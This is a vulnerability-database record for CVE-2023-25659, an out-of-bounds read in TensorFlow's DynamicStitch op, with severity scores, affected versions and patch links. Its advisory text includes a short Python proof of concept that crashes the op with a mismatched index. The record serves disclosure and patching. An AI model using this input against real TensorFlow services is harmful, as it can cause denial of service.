{"id":"CVE-2023-25659","aliases":["BIT-tensorflow-2023-25659","GHSA-93vr-9q9m-pj8p","PYSEC-2026-1959","PYSEC-2026-3142","PYSEC-2026-3300"],"url":"https://o3.security/vulnerability/CVE-2023-25659","summary":"TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch","details":"### Impact\nIf the parameter `indices` for `DynamicStitch` does not match the shape of the parameter `data`, it can trigger an stack OOB read.\n\n```python\nimport tensorflow as tf\nfunc = tf.raw_ops.DynamicStitch\npara={'indices': [[0xdeadbeef], [405], [519], [758], [1015]], 'data': [[110.27793884277344], [120.29475402832031], [157.2418212890625], [157.2626953125], [188.45382690429688]]}\ny = func(**para)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ee004b18b976eeb5a758020af8880236cd707d05](https://github.com/tensorflow/tensorflow/commit/ee004b18b976eeb5a758020af8880236cd707d05).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis has been reported via Google OSS VRP.","published":"2023-03-24T23:43:26.319Z","modified":"2026-08-12T13:32:25.898129Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00394,"percentile":0.33019,"asOf":"2026-09-15"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"tensorflow","fixedVersion":"2.11.1"},{"ecosystem":"PyPI","name":"tensorflow-cpu","fixedVersion":"2.11.1"},{"ecosystem":"PyPI","name":"tensorflow-gpu","fixedVersion":"2.11.1"}],"fix":{"url":"https://github.com/tensorflow/tensorflow/commit/ee004b18b976eeb5a758020af8880236cd707d05","label":"tensorflow/tensorflow@ee004b1"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/25xxx/CVE-2023-25659.json"},{"type":"ADVISORY","url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-93vr-9q9m-pj8p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-25659"},{"type":"FIX","url":"https://github.com/tensorflow/tensorflow/commit/ee004b18b976eeb5a758020af8880236cd707d05"},{"type":"PACKAGE","url":"https://github.com/tensorflow/tensorflow"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T13:32:25.898129Z"}}